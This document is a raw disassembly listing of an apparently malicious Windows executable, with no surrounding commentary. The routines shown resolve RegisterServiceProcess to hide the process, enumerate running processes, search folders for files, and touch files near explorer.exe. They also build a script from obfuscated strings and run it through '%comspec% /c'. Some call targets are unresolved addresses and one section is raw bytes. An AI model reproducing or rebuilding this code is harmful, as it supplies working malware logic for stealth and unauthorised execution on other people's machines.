		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D027


loc_40CFB0:				; CODE XREF: sub_40CF60+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D017
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40CFCA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D017
		cmp	al, 2Eh
		jz	short loc_40D017


loc_40CFCA:				; CODE XREF: sub_40CF60+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_443684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_402257
		add	esp, 2Ch
		mov	ebp, eax


loc_40D017:				; CODE XREF: sub_40CF60+55j
					; sub_40CF60+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		call	near ptr 2860000h
		nop
		test	eax, eax
		jnz	short loc_40CFB0


loc_40D027:				; CODE XREF: sub_40CF60+4Ej
		push	ebx
		nop
		call	near ptr 285027Ch
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_443684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0BB


loc_40D068:				; CODE XREF: sub_40CF60+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401523
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D068


loc_40D0BB:				; CODE XREF: sub_40CF60+106j
		push	ebx
		nop
		call	near ptr 285027Ch
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40CF60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D130	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40D130	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D2E0:				; CODE XREF: ___:004013CAj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2871CFFh
		push	eax
		nop
		call	near ptr 2871176h
		mov	eax, dword_4470A0
		test	eax, eax
		jz	loc_40D403
		mov	ecx, dword_44709C
		test	ecx, ecx
		jz	loc_40D403
		mov	ecx, dword_446F68
		test	ecx, ecx
		jz	loc_40D403
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_447098, eax
		jz	loc_40D403
		push	ebp
		push	offset dword_446F70
		push	eax
		xor	ebp, ebp
		mov	dword_446F70, 128h
		call	dword_44709C	; Process32First
		test	eax, eax
		jz	loc_40D3EC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_50FAD4
		push	edi


loc_40D36D:				; CODE XREF: ___:0040D3E7j
		mov	edi, offset dword_446F94
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446F94
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446F94
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D3D3
		mov	edi, offset dword_446F94
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446F94
		mov	ecx, ebx
		call	sub_401681
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D3D4


loc_40D3D3:				; CODE XREF: ___:0040D3ABj
		inc	ebp


loc_40D3D4:				; CODE XREF: ___:0040D3D1j
		mov	eax, dword_447098
		push	offset dword_446F70
		push	eax
		call	dword_446F68	; Process32Next
		test	eax, eax
		jnz	short loc_40D36D
		pop	edi
		pop	esi
		pop	ebx


loc_40D3EC:				; CODE XREF: ___:0040D357j
		mov	ecx, dword_447098
		push	ecx
		call	near ptr 28207FBh
		nop
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D403:				; CODE XREF: ___:0040D306j
					; ___:0040D314j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D460:				; CODE XREF: ___:00401F91j
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 2880CB7h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_50F8E8
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 2880730h
		mov	ebx, dword_50F8D8
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 2880000h
		push	esi
		call	ebx


loc_40D526:				; CODE XREF: ___:0040D4C9j
					; ___:0040D50Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D580	proc near		; CODE XREF: sub_401B59j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015D7
		lea	ecx, [esp+1A8h+var_184]
		call	sub_401424
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C5D
		push	eax
		push	0
		nop
		call	near ptr 2871CFFh
		push	eax
		nop
		call	near ptr 2871176h
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 27C0890h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D671
		mov	edi, dword_50F8A0
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_4470A4, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_4470A0, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44709C, eax
		call	edi
		mov	dword_446F68, eax
		mov	eax, dword_4470A4
		test	eax, eax
		jz	short loc_40D671
		push	ebx
		push	0
		call	eax


loc_40D671:				; CODE XREF: sub_40D580+A7j
					; sub_40D580+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402117
		test	eax, eax
		jnz	short loc_40D6A8
		mov	al, byte_44718F
		test	al, al
		jz	short loc_40D6A8
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D6A8:				; CODE XREF: sub_40D580+10Dj
					; sub_40D580+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_40D580	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
		dd 8D50FFFFh, 0A8248Ch,	28680000h, 5100443Bh, 0C90BE890h
		dd 3D8B001Dh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 404519E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h
		dd 85D6FF50h, 0A0D074C0h, 4477EBh, 74C0845Dh, 0CC358B39h
		dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B20h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3EA0h,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 84E80000h, 90023D2Bh, 874C085h, 0DFE8006Ah
		dd 907782C4h, 24244C8Dh, 0A42484C6h, 1,	0FF3875E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3861E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB10	proc near		; CODE XREF: sub_401195j
		mov	al, byte_447191
		test	al, al
		jz	short loc_40DB24
		push	offset word_447192
		nop
		call	near ptr 27D08ABh


loc_40DB24:				; CODE XREF: sub_40DB10+7j
		mov	al, 1
		retn
sub_40DB10	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB40	proc near		; CODE XREF: sub_401E5Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DB40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		call	near ptr 2871CFFh
		nop
		push	eax
		nop
		call	near ptr 2871176h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27B0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017E4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_443684
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 2850000h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E0A1
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_401424
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019B5
		add	esp, 18h
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+708h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+710h+var_4], 2
		call	sub_4019B5
		add	esp, 30h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019B5
		add	esp, 18h
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+714h+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+71Ch+var_4], 4
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019B5
		add	esp, 1Ch
		mov	[esp+6E0h+var_6C8], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+708h+var_5D4]
		push	7
		push	edx
		mov	byte ptr [esp+710h+var_4], 6
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+714h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+71Ch+var_4], 8
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		mov	byte ptr [esp+734h+var_4], 9
		push	18h
		push	5
		push	4Eh
		push	14h
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 7Ch
		mov	[esp+6E0h+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+6F8h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+700h+var_4], 0Ah
		call	sub_4019B5
		add	esp, 20h
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019B5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		lea	edx, [esp+710h+var_6AC]
		push	edx
		call	sub_40102D
		add	esp, 34h
		lea	ecx, [esp+6E0h+var_64C]
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 27C0000h
		push	esi
		nop
		call	near ptr 28207FBh
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2871CFFh
		push	eax
		nop
		call	near ptr 2871176h
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		lea	eax, [esp+6FCh+var_110]
		push	0
		push	eax
		push	0
		call	near ptr 27E0517h
		nop
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E0A1:				; CODE XREF: sub_40DB40+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DB40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E220	proc near		; CODE XREF: sub_401726j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_401424
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
